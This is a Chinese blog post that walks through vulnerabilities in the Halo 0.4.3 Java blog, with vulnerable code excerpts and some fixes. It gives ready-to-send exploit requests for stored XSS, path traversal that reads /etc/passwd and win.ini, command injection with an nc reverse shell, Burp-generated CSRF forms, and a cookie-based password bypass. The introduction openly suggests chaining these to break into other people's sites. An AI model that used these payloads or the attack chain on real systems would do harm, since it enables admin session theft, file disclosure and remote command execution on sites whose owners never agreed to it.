Author : Ali0th
Date : 2019-4-30
看到 Halo 0.4.3 Issue 上还挺多漏洞的,而且作者打算写新的版本,目前的版本大部分都还没修。这个漏洞还是有点多的,不过大部分都是后台漏洞。
这个是一个 Java SpringBoot 写的 Web 博客应用,相关部署和源码分析可以见我的其它文章。
如果要渗透别人的网站,可以先使用,获取到管理员 session 后,再使用命令执行即可。
@[TOC]
These is A stored xss vulnerability #126
是一个后台的存储型XSS,因为记录后台登录IP和 X-Forwarded-For
,然后展示导致的。
github.com/halo-dev/ha…
payload:
POST /admin/getLogin HTTP/1.1 Host: localhost:8090 User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:27.0) Gecko/20100101 Firefox/27.0 Accept: application/json, text/javascript, */*; q=0.01 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest Referer: http://localhost:8090/admin/login Content-Length: 35 Cookie: bdshare_firstime=1510813887603; pgv_pvi=3523200000; sYQDUGqqzHsearch_history=1%7C1; JSESSIONID=NXqZ4ZvU0g-GNZTh9oOlem8hWQVJFTfWZDGL5Y7K Connection: keep-alive Pragma: no-cache Cache-Control: no-cache X-Forwarded-For: 127.<img src=1 onerror=alert(123)>0.0.2 loginName=admin&loginPwd=adminadmin 复制代码
密码错误时,返回了密码内容无过滤,这个是POST型XSS。
try { User aUser = userService.findUser(); ... } catch (Exception e) { Integer errorCount = userService.updateUserLoginError(); if (errorCount >= 5) { userService.updateUserLoginEnable("false"); } userService.updateUserLoginLast(new Date()); logsService.saveByLogs(new Logs(LogsRecord.LOGIN, LogsRecord.LOGIN_ERROR + "[" + loginName + "," + loginPwd + "]", HaloUtil.getIpAddr(request), new Date())); log.error("登录失败!:{0}", e.getMessage()); } 复制代码
payload:
POST /admin/getLogin HTTP/1.1 Host: localhost:8090 User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:27.0) Gecko/20100101 Firefox/27.0 Accept: application/json, text/javascript, */*; q=0.01 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest Referer: http://localhost:8090/admin/login Content-Length: 77 Cookie: bdshare_firstime=1510813887603; pgv_pvi=3523200000; sYQDUGqqzHsearch_history=1%7C1; JSESSIONID=NXqZ4ZvU0g-GNZTh9oOlem8hWQVJFTfWZDGL5Y7K Connection: keep-alive Pragma: no-cache Cache-Control: no-cache loginName=admin&loginPwd=adminadmin<a href="javascript:alert(/xss/);">xss</a> 复制代码
修复后:
//更新失败次数 final Integer errorCount = userService.updateUserLoginError(); //超过五次禁用账户 if (errorCount >= CommonParamsEnum.FIVE.getValue()) { userService.updateUserLoginEnable(TrueFalseEnum.FALSE.getDesc()); } logsService.save(LogsRecord.LOGIN, LogsRecord.LOGIN_ERROR + "[" + HtmlUtil.escape(loginName) + "," + HtmlUtil.escape(loginPwd) + "]", request); final Object[] args = {(5 - errorCount)}; return new JsonResult(ResultCodeEnum.FAIL.getCode(), localeMessageUtil.getMessage("code.admin.login.failed", args)); 复制代码
加入了 HtmlUtil.escape()
方法过滤。
评论处存储型XSS,可以提交到后台,让后台管理者受到XSS攻击。
文件位置: cc.ryanc.halo.web.controller.front.FrontCommentController
comment.setCommentAuthorEmail(HtmlUtil.escape(comment.getCommentAuthorEmail()).toLowerCase()); // code ... comment.setCommentAuthor(HtmlUtil.escape(comment.getCommentAuthor())); // code ... //将评论内容的字符专为安全字符 comment.setCommentContent(OwoUtil.markToImg(HtmlUtil.escape(comment.getCommentContent()).replace("<br/>", "<br/>"))); } if (StrUtil.isNotEmpty(comment.getCommentAuthorUrl())) { comment.setCommentAuthorUrl(URLUtil.normalize(comment.getCommentAuthorUrl())); } 复制代码
可以看到,提交评论处对大部分参数值有使用 HtmlUtil.escap
进行过滤,但是对 getCommentAuthorUrl
没有过滤。
payload:
POST /newComment HTTP/1.1 Host: 127.0.0.1:8090 User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:27.0) Gecko/20100101 Firefox/27.0 Accept: application/json, text/javascript, */*; q=0.01 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest Referer: http://127.0.0.1:8090/archives/hello-halo Content-Length: 241 Connection: keep-alive Pragma: no-cache Cache-Control: no-cache postId=3&commentContent=ali0th+say+hi&commentAuthor=ali0th&commentAuthorEmail=ali0th%40test.com&commentAuthorUrl=www.ali0th.com"><img src=1 onerror=alert(123)>&commentAgent=Mozilla%2F5.0+(Windows+NT+6.3%3B+WOW64%3B+rv%3A27.0)+Gecko%2F20100101+Firefox%2F27.0&commentParent=0 复制代码
github.com/halo-dev/ha…
将备份发送到邮箱
处,使用拼接的方式加载文件,然后发到邮件,导致任意文件下载。
文件位置: cc.ryanc.halo.web.controller.admin.BackupController
System.getProperties().getProperty("user.home") + "/halo/backup/" + type + "/" + fileName; // code... new EmailToAdmin(srcPath, user).start(); 复制代码
payload:
因为我在 win 环境,所以这里包含 c:/windows/win.ini
GET /admin/backup/sendToEmail?type=../../../../../../&fileName=c:/windows/win.ini HTTP/1.1 Host: 127.0.0.1:8090 User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:27.0) Gecko/20100101 Firefox/27.0 Accept: application/json, text/javascript, */*; q=0.01 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate X-Requested-With: XMLHttpRequest Referer: http://127.0.0.1:8090/admin/backup?type=resources Cookie: JSESSIONID=OtSpPq_v8fXROoZ5mFT3DbjeIs07ud8kk6VyMh5U Connection: keep-alive 复制代码
github.com/halo-dev/ha…
在线拉取主题功能,使用 git clone 接取主题。
文件位置: cc.ryanc.halo.web.controller.admin.ThemeController
final String cmdResult = RuntimeUtil.execForStr("git clone " + remoteAddr + " " + themePath.getAbsolutePath() + "/" + themeName); 复制代码
使用拼接的形式构造命令,并使用 RuntimeUtil.execForStr
执行。
我这是win下,所以使用下面命令
# 监听 nc -l -p 12345 -v # 反弹命令 nc.exe -e cmd.exe 127.0.0.1 12345 复制代码
github.com/halo-dev/ha…
在删除备份文件处,使用拼接方式组装路径。
文件位置: cc.ryanc.halo.web.controller.admin.BackupController
final String srcPath = System.getProperties().getProperty("user.home") + "/halo/backup/" + type + "/" + fileName; // code ... FileUtil.del(srcPath); 复制代码
github.com/halo-dev/ha…
添加标签处基本没有过滤。
文件位置: cc.ryanc.halo.web.controller.admin.TagController
final Tag tempTag = tagService.findByTagUrl(tag.getTagUrl()); // code ... tag = tagService.create(tag); 复制代码
没有太多的处理,对 tagName 则完全没有处理。
CSRF payload:
<html> <!-- CSRF PoC - generated by Burp Suite Professional --> <body> <script>history.pushState('', '', '/')</script> <form action="https://demo.halo.run/admin/tag/save" method="POST"> <input type="hidden" name="tagName" value="<script>alert 1 < script>" /> <input type="hidden" name="tagUrl" value="123" /> <input type="submit" value="Submit request" /> </form> </body> </html> 复制代码
XSS payload:
POST /admin/tag/save HTTP/1.1 Host: demo.halo.run User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:64.0) Gecko/20100101 Firefox/64.0 Accept: */* Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Referer: https://demo.halo.run/admin/tag Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest Content-Length: 54 Connection: close Cookie: JSESSIONID=7pY4KPxPbsy7pPOuJ_5OghgiMpv14yT9XbfW_p20 Pragma: no-cache Cache-Control: no-cache tagName=%3Cscript%3Ealert(1)%3C%2Fscript%3E&tagUrl=123 复制代码
github.com/halo-dev/ha…
大部分位置均有 CSRF。这里就不分析了。
payload:
<html> <!-- CSRF PoC - generated by Burp Suite Professional --> <body> <script>history.pushState('', '', '/')</script> <form action="https://demo.halo.run/admin/posts/save" method="POST"> <input type="hidden" name="postStatus" value="0" /> <input type="hidden" name="postTitle" value="test" /> <input type="hidden" name="postUrl" value="1554359315872" /> <input type="hidden" name="postContentMd" value="test123" /> <input type="hidden" name="postThumbnail" value=" static halo frontend images thumbnail thumbnail png" /> <input type="hidden" name="cateList" value="" /> <input type="hidden" name="tagList" value="" /> <input type="hidden" name="allowComment" value="1" /> <input type="hidden" name="postPassword" value="" /> <input type="submit" value="Submit request" /> </form> </body> </html> 复制代码
github.com/halo-dev/ha…
使用 append 方法拼接路径,没有对输入的参数值过滤,导致任意文件读取。
文件位置: cc.ryanc.halo.web.controller.admin.ThemeController
//获取项目根路径 final File basePath = new File(ResourceUtils.getURL("classpath:").getPath()); //获取主题路径 final StrBuilder themePath = new StrBuilder("templates/themes/"); themePath.append(BaseController.THEME); themePath.append("/"); themePath.append(tplName); final File themesPath = new File(basePath.getAbsolutePath(), themePath.toString()); final FileReader fileReader = new FileReader(themesPath); tplContent = fileReader.readString(); 复制代码
payload:
GET /admin/themes/getTpl?tplName=../../../../../../../../etc/passwd HTTP/1.1 Host: demo.halo.run User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:64.0) Gecko/20100101 Firefox/64.0 Accept: */* Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Referer: https://demo.halo.run/admin/themes/editor X-Requested-With: XMLHttpRequest Connection: close Cookie: JSESSIONID=7pY4KPxPbsy7pPOuJ_5OghgiMpv14yT9XbfW_p20 复制代码
github.com/halo-dev/ha…
只判断了是否有传入 cookie ,没有判断是密码是否正确。只要拦截包,然后修改 cookie 即可。
(这一个漏洞我没有复现成功,很奇怪,先搁置)
文件位置: cc.ryanc.halo.web.controller.front.FrontArchiveController
//判断文章是否有加密 if (StrUtil.isNotEmpty(post.getPostPassword())) { Cookie cookie = ServletUtil.getCookie(request, "halo-post-password-" + post.getPostId()); if (null == cookie) { post.setPostSummary("该文章为加密文章"); post.setPostContent("<form id=/"postPasswordForm/" method=/"post/" action=/"/archives/verifyPostPassword/"><p>该文章为加密文章,输入正确的密码即可访问。</p><input type=/"hidden/" id=/"postId/" name=/"postId/" value=/"" + post.getPostId() + "/"> <input type=/"password/" id=/"postPassword/" name=/"postPassword/"> <input type=/"submit/" id=/"passwordSubmit/" value=/"提交/"></form>"); } } // code ... // 验证密码成功添加cookie if (SecureUtil.md5(postPassword).equals(post.getPostPassword())) { ServletUtil.addCookie(response, "halo-post-password-" + post.getPostId(), SecureUtil.md5(postPassword)); } 复制代码
payload:
HTTP/1.1 302 Found Server: nginx/1.15.8 Date: Thu, 04 Apr 2019 15:02:04 GMT Content-Length: 0 Connection: keep-alive Location: 127.0.0.1:8090/archives/hello-halo Content-Language: zh-CN Set-Cookie: halo-post-password-3=fae0b27c451c728867a567e8c1bb4e746 Strict-Transport-Security: max-age=31536000 复制代码
github.com/halo-dev/ha…